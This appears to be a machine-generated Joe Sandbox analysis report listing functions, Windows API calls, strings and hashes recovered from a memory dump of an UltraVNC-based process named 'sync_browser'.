vncdesktopsink.cpp : StartInitWindowthread no default desk, xrefs: 00007FF7E50A3403
Default, xrefs: 00007FF7E50A32E5

Memory Dump Source

Source File: 00000017.00000002.3170882784.00007FF7E5071000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF7E5070000, based on PE: true

Associated: 00000017.00000002.3170856075.00007FF7E5070000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3170973291.00007FF7E5149000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171022945.00007FF7E517D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171045471.00007FF7E517F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E5180000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E51CB000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E51F8000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E5231000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E52A4000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E52EC000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_7ff7e5070000_sync_browser.jbxd

Yara matches

Similarity

API ID: Thread$Object$CloseCreateCurrentDesktopEventHandleInformationResetSingleTerminateUserWait
String ID: Default$vncdesktopsink.cpp : ERROR: initwindowthread failed to start $vncdesktopsink.cpp : StartInitWindowthread $vncdesktopsink.cpp : StartInitWindowthread default desk$vncdesktopsink.cpp : StartInitWindowthread no default desk$vncdesktopsink.cpp : StartInitWindowthread reactivate$vncdesktopsink.cpp : StartInitWindowthread started
API String ID: 3943905059-2958163836
Opcode ID: e218055b09ea2cf65919ada1ad6196f8f0811d873fe4ec65c432ea6f649def2e
Instruction ID: 0fa908c333d2f8c8f9605c0ed547e91d93beb6954ab06c4982c8e7dd6f1f7c11
Opcode Fuzzy Hash: e218055b09ea2cf65919ada1ad6196f8f0811d873fe4ec65c432ea6f649def2e
Instruction Fuzzy Hash: 14413F31A0868A86E724AB20F8643FAA365FB44F44FC40037EA4D97659DF3CE449C772

Function 00007FF7E50ABF40 Relevance: 24.7, APIs: 7, Strings: 7, Instructions: 202windowCOMMON

Download Yara Rule

APIs

GetIconInfo.USER32 ref: 00007FF7E50ABF9D
DeleteObject.GDI32 ref: 00007FF7E50ABFF6

Strings

vncencoderCursor.cpp : GetIconInfo() failed., xrefs: 00007FF7E50ABFA7
vncencoderCursor.cpp : GetBitmapBits() failed., xrefs: 00007FF7E50AC0AF
vncencoderCursor.cpp : GetObject() for bitmap failed., xrefs: 00007FF7E50AC035
vncencoderCursor.cpp : vncDesktop::GetRichCursorData() failed., xrefs: 00007FF7E50AC1DA
vncencoderCursor.cpp : incorrect data in cursor bitmap., xrefs: 00007FF7E50AC262
vncencoderCursor.cpp : cursor bitmap handle is NULL., xrefs: 00007FF7E50AC008
vncencoderCursor.cpp : cursor handle is NULL., xrefs: 00007FF7E50ABF8D

Memory Dump Source

Source File: 00000017.00000002.3170882784.00007FF7E5071000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF7E5070000, based on PE: true

Associated: 00000017.00000002.3170856075.00007FF7E5070000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3170973291.00007FF7E5149000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171022945.00007FF7E517D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171045471.00007FF7E517F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E5180000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E51CB000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E51F8000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E5231000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E52A4000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E52EC000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_7ff7e5070000_sync_browser.jbxd

Yara matches

Similarity

API ID: DeleteIconInfoObject
String ID: vncencoderCursor.cpp : GetBitmapBits() failed.$vncencoderCursor.cpp : GetIconInfo() failed.$vncencoderCursor.cpp : GetObject() for bitmap failed.$vncencoderCursor.cpp : cursor bitmap handle is NULL.$vncencoderCursor.cpp : cursor handle is NULL.$vncencoderCursor.cpp : incorrect data in cursor bitmap.$vncencoderCursor.cpp : vncDesktop::GetRichCursorData() failed.
API String ID: 2689914137-3853778978
Opcode ID: 2f8f0d1229a19f6cc99125dd6f7866c1e440804fb71aa97e513b1dd5eb10ea0b
Instruction ID: 001514af625d75af2ffc29e97a41a48e704dc3cd2d1c417f3b8906799b329e0b
Opcode Fuzzy Hash: 2f8f0d1229a19f6cc99125dd6f7866c1e440804fb71aa97e513b1dd5eb10ea0b
Instruction Fuzzy Hash: E891A771B0868A89E760EF71A4603B9A3A4FB44F84F844436EE4DC7A59DF3CE545C722

Function 00007FF7E50E0160 Relevance: 24.7, APIs: 13, Strings: 1, Instructions: 163memoryCOMMON

Download Yara Rule

APIs

GlobalLock.KERNEL32 ref: 00007FF7E50E0180
GlobalFree.KERNEL32 ref: 00007FF7E50E0196
GlobalAlloc.KERNEL32 ref: 00007FF7E50E023D
GlobalLock.KERNEL32 ref: 00007FF7E50E0256
malloc.LIBCMT ref: 00007FF7E50E0325

Strings

Unable to allocate memory in zip dll, xrefs: 00007FF7E50E033B

Memory Dump Source

Source File: 00000017.00000002.3170882784.00007FF7E5071000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF7E5070000, based on PE: true

Associated: 00000017.00000002.3170856075.00007FF7E5070000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3170973291.00007FF7E5149000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171022945.00007FF7E517D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171045471.00007FF7E517F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E5180000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E51CB000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E51F8000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E5231000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E52A4000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E52EC000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_7ff7e5070000_sync_browser.jbxd

Yara matches

Similarity

API ID: Global$Lock$AllocFreemalloc
String ID: Unable to allocate memory in zip dll
API String ID: 105282483-1808592719
Opcode ID: 439d1d74bec1a377bae1f8d9f7e6becaa1aace2b029c7af40cc9af3f3fa69061
Instruction ID: e1307e08ba714e4d099dbabdac4fc7f047e29f2f6b625eab10d5f330899ef170
Opcode Fuzzy Hash: 439d1d74bec1a377bae1f8d9f7e6becaa1aace2b029c7af40cc9af3f3fa69061
Instruction Fuzzy Hash: 24717766A09B4A86EE11EF64E4603B8A3A4FF44F84F945136DE4E87358EF3CE541C721

Function 00007FF7E5080E00 Relevance: 24.7, APIs: 13, Strings: 1, Instructions: 153memorythreadCOMMON

Download Yara Rule

APIs

SetLastError.KERNEL32 ref: 00007FF7E5080E34
GetCurrentProcess.KERNEL32 ref: 00007FF7E5080E4C
FindWindowA.USER32 ref: 00007FF7E5080E62
GetWindowThreadProcessId.USER32 ref: 00007FF7E5080E78
OpenProcess.KERNEL32 ref: 00007FF7E5080E8E
OpenProcessToken.ADVAPI32 ref: 00007FF7E5080EA8
GetTokenInformation.ADVAPI32 ref: 00007FF7E5080EF6
GetLastError.KERNEL32 ref: 00007FF7E5080F19
malloc.LIBCMT ref: 00007FF7E5080F67

Part of subcall function 00007FF7E5128C34: _FF_MSGBANNER.LIBCMT ref: 00007FF7E5128C64
Part of subcall function 00007FF7E5128C34: HeapAlloc.KERNEL32(?,?,00000000,00007FF7E513329C,?,?,?,00007FF7E5137749,?,?,?,00007FF7E51377F3), ref: 00007FF7E5128C89
Part of subcall function 00007FF7E5128C34: _callnewh.LIBCMT ref: 00007FF7E5128CA2
Part of subcall function 00007FF7E5128C34: _errno.LIBCMT ref: 00007FF7E5128CAD
Part of subcall function 00007FF7E5128C34: _errno.LIBCMT ref: 00007FF7E5128CB8

GetTokenInformation.ADVAPI32 ref: 00007FF7E5080FA0
AllocateAndInitializeSid.ADVAPI32 ref: 00007FF7E5080FE7
EqualSid.ADVAPI32 ref: 00007FF7E5081008
FreeSid.ADVAPI32 ref: 00007FF7E5081028

Strings

Shell_TrayWnd, xrefs: 00007FF7E5080E59

Memory Dump Source

Source File: 00000017.00000002.3170882784.00007FF7E5071000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF7E5070000, based on PE: true

Associated: 00000017.00000002.3170856075.00007FF7E5070000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3170973291.00007FF7E5149000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171022945.00007FF7E517D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171045471.00007FF7E517F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E5180000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E51CB000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E51F8000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E5231000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E52A4000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E52EC000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_7ff7e5070000_sync_browser.jbxd

Yara matches

Similarity

API ID: Process$Token$ErrorInformationLastOpenWindow_errno$AllocAllocateCurrentEqualFindFreeHeapInitializeThread_callnewhmalloc
String ID: Shell_TrayWnd
API String ID: 1145045407-2988720461
Opcode ID: d9d604564b036738baf1cc78484086bbc4bcce7d9d148157cfd1f0fc9de8039d
Instruction ID: ce7dde56dab1211b11a3a58ed1bcfdc6fdb1ddd71b952a326dac16bcb5d89044
Opcode Fuzzy Hash: d9d604564b036738baf1cc78484086bbc4bcce7d9d148157cfd1f0fc9de8039d
Instruction Fuzzy Hash: F261973260478695EB20AF30E8607A9B3A4FF44F98F844136EA4D8BB99DF3CD544C761

Function 00007FF7E5076E00 Relevance: 24.6, APIs: 6, Strings: 8, Instructions: 104registrystringCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.ADVAPI32(?,?,?,?,?,?,00007FF7E5076300), ref: 00007FF7E5076E32
RegQueryValueExA.ADVAPI32(?,?,?,?,?,?,00007FF7E5076300), ref: 00007FF7E5076E6B
RegCloseKey.ADVAPI32(?,?,?,?,?,?,00007FF7E5076300), ref: 00007FF7E5076F9E

Part of subcall function 00007FF7E5127978: malloc.LIBCMT ref: 00007FF7E5127992

RegQueryValueExA.ADVAPI32(?,?,?,?,?,?,00007FF7E5076300), ref: 00007FF7E5076EB7
lstrlenA.KERNEL32 ref: 00007FF7E5076F64
RegCloseKey.ADVAPI32(?,?,?,?,?,?,00007FF7E5076300), ref: 00007FF7E5076F87

Strings

Enterprise, xrefs: 00007FF7E5076F22
Personal, xrefs: 00007FF7E5076F3E
ProductSuite, xrefs: 00007FF7E5076E54, 00007FF7E5076EA3
System\CurrentControlSet\Control\ProductOptions, xrefs: 00007FF7E5076E0F
Terminal Server, xrefs: 00007FF7E5076EE0
@, xrefs: 00007FF7E5076F51
SBS, xrefs: 00007FF7E5076EFC
Small Business, xrefs: 00007FF7E5076F0F

Memory Dump Source

Source File: 00000017.00000002.3170882784.00007FF7E5071000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF7E5070000, based on PE: true

Associated: 00000017.00000002.3170856075.00007FF7E5070000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3170973291.00007FF7E5149000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171022945.00007FF7E517D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171045471.00007FF7E517F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E5180000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E51CB000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E51F8000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E5231000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E52A4000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E52EC000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_7ff7e5070000_sync_browser.jbxd

Yara matches

Similarity

API ID: CloseQueryValue$Openlstrlenmalloc
String ID: @$Enterprise$Personal$ProductSuite$SBS$Small Business$System\CurrentControlSet\Control\ProductOptions$Terminal Server
API String ID: 1137168859-3840687832
Opcode ID: 32626daec1fe8a25ead540a82463a4f86ecf2e9460f47b6cecf95af5a5135861
Instruction ID: da7df1eb2938c9492a6c06348b4aeaa15bd8fea463c85b5d14c3c36e10f57678
Opcode Fuzzy Hash: 32626daec1fe8a25ead540a82463a4f86ecf2e9460f47b6cecf95af5a5135861
Instruction Fuzzy Hash: 71415031A0C74A81EB10AB25F461379E7A4EB85FD4FC41032E94E82A69DF3CE155CB62

Function 00007FF7E5131630 Relevance: 24.6, APIs: 12, Strings: 2, Instructions: 89COMMON

Download Yara Rule

APIs

__doserrno.LIBCMT ref: 00007FF7E5131651
_errno.LIBCMT ref: 00007FF7E513165C
_invalid_parameter_noinfo.LIBCMT ref: 00007FF7E5131667
_getdrive.LIBCMT ref: 00007FF7E5131671
_errno.LIBCMT ref: 00007FF7E5131681
GetFullPathNameA.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,00000000,00007FF7E5131783,?,?,?), ref: 00007FF7E51316C8
_errno.LIBCMT ref: 00007FF7E51316E0

Strings

:., xrefs: 00007FF7E513169F
., xrefs: 00007FF7E51316B2

Memory Dump Source

Source File: 00000017.00000002.3170882784.00007FF7E5071000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF7E5070000, based on PE: true

Associated: 00000017.00000002.3170856075.00007FF7E5070000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3170973291.00007FF7E5149000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171022945.00007FF7E517D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171045471.00007FF7E517F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E5180000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E51CB000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E51F8000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E5231000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E52A4000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E52EC000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_7ff7e5070000_sync_browser.jbxd

Yara matches

Similarity

API ID: _errno$FullNamePath__doserrno_getdrive_invalid_parameter_noinfo
String ID: .$:.
API String ID: 2522281643-2811378331
Opcode ID: 929e3b98afd90e1224fcb876808be71e149f22f30ee99422c40ef918dbd1e04a
Instruction ID: ad079c3f8664ead60781585d8e67cbe2222061a51af81e341636daa759013f50
Opcode Fuzzy Hash: 929e3b98afd90e1224fcb876808be71e149f22f30ee99422c40ef918dbd1e04a
Instruction Fuzzy Hash: A0313D6694C28AC2E7617AA0A43137D95905F46F40FDA4037DA4CC668ADEBCE841C773

Function 00007FF7E5082880 Relevance: 24.6, APIs: 11, Strings: 3, Instructions: 85libraryregistryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32 ref: 00007FF7E50828CC
GetProcAddress.KERNEL32 ref: 00007FF7E50828E9
RegisterServiceCtrlHandlerA.ADVAPI32 ref: 00007FF7E5082918
SetServiceStatus.ADVAPI32 ref: 00007FF7E5082942
CreateEventA.KERNEL32 ref: 00007FF7E5082952
SetServiceStatus.ADVAPI32 ref: 00007FF7E5082991
GetSystemMetrics.USER32 ref: 00007FF7E508299C
SetServiceStatus.ADVAPI32 ref: 00007FF7E50829CD
CloseHandle.KERNEL32 ref: 00007FF7E50829DF
SetServiceStatus.ADVAPI32 ref: 00007FF7E5082A0B
FreeLibrary.KERNEL32 ref: 00007FF7E5082A1A

Strings

RegisterServiceCtrlHandlerExA, xrefs: 00007FF7E50828DF
uvnc_service, xrefs: 00007FF7E50828F7
advapi32.dll, xrefs: 00007FF7E50828C5

Memory Dump Source

Source File: 00000017.00000002.3170882784.00007FF7E5071000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF7E5070000, based on PE: true

Associated: 00000017.00000002.3170856075.00007FF7E5070000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3170973291.00007FF7E5149000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171022945.00007FF7E517D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171045471.00007FF7E517F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E5180000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E51CB000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E51F8000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E5231000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E52A4000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E52EC000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_7ff7e5070000_sync_browser.jbxd

Yara matches

Similarity

API ID: Service$Status$Library$AddressCloseCreateCtrlEventFreeHandleHandlerLoadMetricsProcRegisterSystem
String ID: RegisterServiceCtrlHandlerExA$advapi32.dll$uvnc_service
API String ID: 333848887-3586523739
Opcode ID: c7b1663068b9192da73d5e996cff8b829b46b9983eaef1313fb1f4a7c7fe863a
Instruction ID: dac3e69ae9a5b5e5fa747cfe6275b5edef3300d8a739372a19510f49059c0a89
Opcode Fuzzy Hash: c7b1663068b9192da73d5e996cff8b829b46b9983eaef1313fb1f4a7c7fe863a
Instruction Fuzzy Hash: 76411920A18B4A81FA20BB25FC64775A3A4EF44F51FC45137D95E8A6A8EF7CA015C733

Function 00007FF7E50A09F0 Relevance: 24.6, APIs: 12, Strings: 2, Instructions: 82COMMON

Download Yara Rule

APIs

SetRect.USER32 ref: 00007FF7E50A0A2D
SetTextColor.GDI32 ref: 00007FF7E50A0A3F
SetBkColor.GDI32 ref: 00007FF7E50A0A54
CreateSolidBrush.GDI32 ref: 00007FF7E50A0A62
SelectObject.GDI32 ref: 00007FF7E50A0A79
FillRect.USER32 ref: 00007FF7E50A0A9A
DrawTextA.USER32 ref: 00007FF7E50A0AC1
SetBkColor.GDI32 ref: 00007FF7E50A0AD1
SetTextColor.GDI32 ref: 00007FF7E50A0AE1
SelectObject.GDI32 ref: 00007FF7E50A0AF1
DeleteObject.GDI32 ref: 00007FF7E50A0AFA
GdiFlush.GDI32 ref: 00007FF7E50A0B22

Part of subcall function 00007FF7E50A1540: GetDIBits.GDI32 ref: 00007FF7E50A15C1

Strings

UltraVVNC running as application doesn't have permission to acces UAC protected windows.Screen is locked until the remote user unlock this window, xrefs: 00007FF7E50A0AAC
x, xrefs: 00007FF7E50A0A25

Memory Dump Source

Source File: 00000017.00000002.3170882784.00007FF7E5071000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF7E5070000, based on PE: true

Associated: 00000017.00000002.3170856075.00007FF7E5070000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3170973291.00007FF7E5149000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171022945.00007FF7E517D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171045471.00007FF7E517F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E5180000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E51CB000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E51F8000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E5231000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E52A4000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E52EC000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_7ff7e5070000_sync_browser.jbxd

Yara matches

Similarity

API ID: Color$ObjectText$RectSelect$BitsBrushCreateDeleteDrawFillFlushSolid
String ID: UltraVVNC running as application doesn't have permission to acces UAC protected windows.Screen is locked until the remote user unlock this window$x
API String ID: 3190128964-2508378015
Opcode ID: 422fa4f30dff9bfc24b23924f9a70426f5dd9492b070c67ff410ac0bceba6c3d
Instruction ID: 6e596a91ba84a3feedf02f7192b4ca5a57b6ffafc783a887f1b49c70271dffa3
Opcode Fuzzy Hash: 422fa4f30dff9bfc24b23924f9a70426f5dd9492b070c67ff410ac0bceba6c3d
Instruction Fuzzy Hash: A2314F3660868A87E710EF69F46466AB360FB89F98F441032EE4E87718DF7CD445CB21

Function 00007FF7E50A6D40 Relevance: 23.0, APIs: 11, Strings: 2, Instructions: 226threadtimeCOMMON

Download Yara Rule

APIs

CreateThread.KERNEL32 ref: 00007FF7E50A6DCF
CreateThread.KERNEL32 ref: 00007FF7E50A6F11
timeGetTime.WINMM ref: 00007FF7E50A6F38
CreateRectRgn.GDI32 ref: 00007FF7E50A7052
CombineRgn.GDI32 ref: 00007FF7E50A706B
DeleteObject.GDI32 ref: 00007FF7E50A7074
free.LIBCMT ref: 00007FF7E50A707D
GetForegroundWindow.USER32 ref: 00007FF7E50A70B1
GetCursorPos.USER32 ref: 00007FF7E50A70FD
WindowFromPoint.USER32 ref: 00007FF7E50A710C
GetDesktopWindow.USER32 ref: 00007FF7E50A711F

Part of subcall function 00007FF7E5127DE8: _errno.LIBCMT ref: 00007FF7E5127E00
Part of subcall function 00007FF7E5127DE8: _invalid_parameter_noinfo.LIBCMT ref: 00007FF7E5127E0C

Strings

w8hook, xrefs: 00007FF7E50A6EC2
schook, xrefs: 00007FF7E50A6D94

Memory Dump Source

Source File: 00000017.00000002.3170882784.00007FF7E5071000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF7E5070000, based on PE: true

Associated: 00000017.00000002.3170856075.00007FF7E5070000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3170973291.00007FF7E5149000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171022945.00007FF7E517D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171045471.00007FF7E517F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E5180000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E51CB000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E51F8000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E5231000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E52A4000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E52EC000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_7ff7e5070000_sync_browser.jbxd

Yara matches

Similarity

API ID: CreateWindow$Thread$CombineCursorDeleteDesktopForegroundFromObjectPointRectTime_errno_invalid_parameter_noinfofreetime
String ID: schook$w8hook
API String ID: 2828954817-2864610768
Opcode ID: 9d0d11ee87f8464a0e06aa43911e74bafefc4e8cee0f8ec7ee0a3e7d2bc7edc3
Instruction ID: 94435fae07e1a10c41db56acda5a27d81290030bdf7b68ea616106d21f6ac847
Opcode Fuzzy Hash: 9d0d11ee87f8464a0e06aa43911e74bafefc4e8cee0f8ec7ee0a3e7d2bc7edc3
Instruction Fuzzy Hash: 86B16636A0878A86E754AF25E4506E9B7A0FB44F84F848037DB9D83755DF3CE485C322

Function 00007FF7E5085EF0 Relevance: 22.9, APIs: 7, Strings: 6, Instructions: 171windowCOMMON

Download Yara Rule

APIs

free.LIBCMT ref: 00007FF7E5085F47

Part of subcall function 00007FF7E5128BF4: RtlFreeHeap.NTDLL(?,?,?,00007FF7E512748C), ref: 00007FF7E5128C0A
Part of subcall function 00007FF7E5128BF4: _errno.LIBCMT ref: 00007FF7E5128C14
Part of subcall function 00007FF7E5128BF4: GetLastError.KERNEL32(?,?,?,00007FF7E512748C), ref: 00007FF7E5128C1C

Part of subcall function 00007FF7E50870B0: EnumDisplaySettingsA.USER32 ref: 00007FF7E50870F4
Part of subcall function 00007FF7E50870B0: LoadLibraryA.KERNEL32 ref: 00007FF7E5087109
Part of subcall function 00007FF7E50870B0: GetProcAddress.KERNEL32 ref: 00007FF7E508712D
Part of subcall function 00007FF7E50870B0: FreeLibrary.KERNEL32 ref: 00007FF7E50871F2

malloc.LIBCMT ref: 00007FF7E5085F53
GetDC.USER32 ref: 00007FF7E5085FBD
GetSystemPaletteEntries.GDI32 ref: 00007FF7E5085FE7
GetLastError.KERNEL32 ref: 00007FF7E5085FF0
DeleteDC.GDI32 ref: 00007FF7E5086021
ReleaseDC.USER32 ref: 00007FF7E508602E

Strings

l:\ultravnc_installer_other\ultravnc\ultravnc project root\ultravnc\winvnc\winvnc\tableinitcmtemplate.cpp : got %u palette entries, xrefs: 00007FF7E5085FF6
l:\ultravnc_installer_other\ultravnc\ultravnc project root\ultravnc\winvnc\winvnc\tableinitcmtemplate.cpp : Using video Palette, xrefs: 00007FF7E5085FAF
l:\ultravnc_installer_other\ultravnc\ultravnc project root\ultravnc\winvnc\winvnc\tableinitcmtemplate.cpp : failed to allocate translation table, xrefs: 00007FF7E5085F61
l:\ultravnc_installer_other\ultravnc\ultravnc project root\ultravnc\winvnc\winvnc\tableinitcmtemplate.cpp : rfbInitColourMapSingleTable called, xrefs: 00007FF7E5085F1B
l:\ultravnc_installer_other\ultravnc\ultravnc project root\ultravnc\winvnc\winvnc\tableinitcmtemplate.cpp : Using mirror video Palette, xrefs: 00007FF7E5085FC8
l:\ultravnc_installer_other\ultravnc\ultravnc project root\ultravnc\winvnc\winvnc\tableinitcmtemplate.cpp : rfbInitColourMapSingleTable done, xrefs: 00007FF7E5086160

Memory Dump Source

Source File: 00000017.00000002.3170882784.00007FF7E5071000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF7E5070000, based on PE: true

Associated: 00000017.00000002.3170856075.00007FF7E5070000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3170973291.00007FF7E5149000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171022945.00007FF7E517D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171045471.00007FF7E517F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E5180000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E51CB000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E51F8000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E5231000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E52A4000.00000002.00000001.01000000.00000007.sdmpDownload File
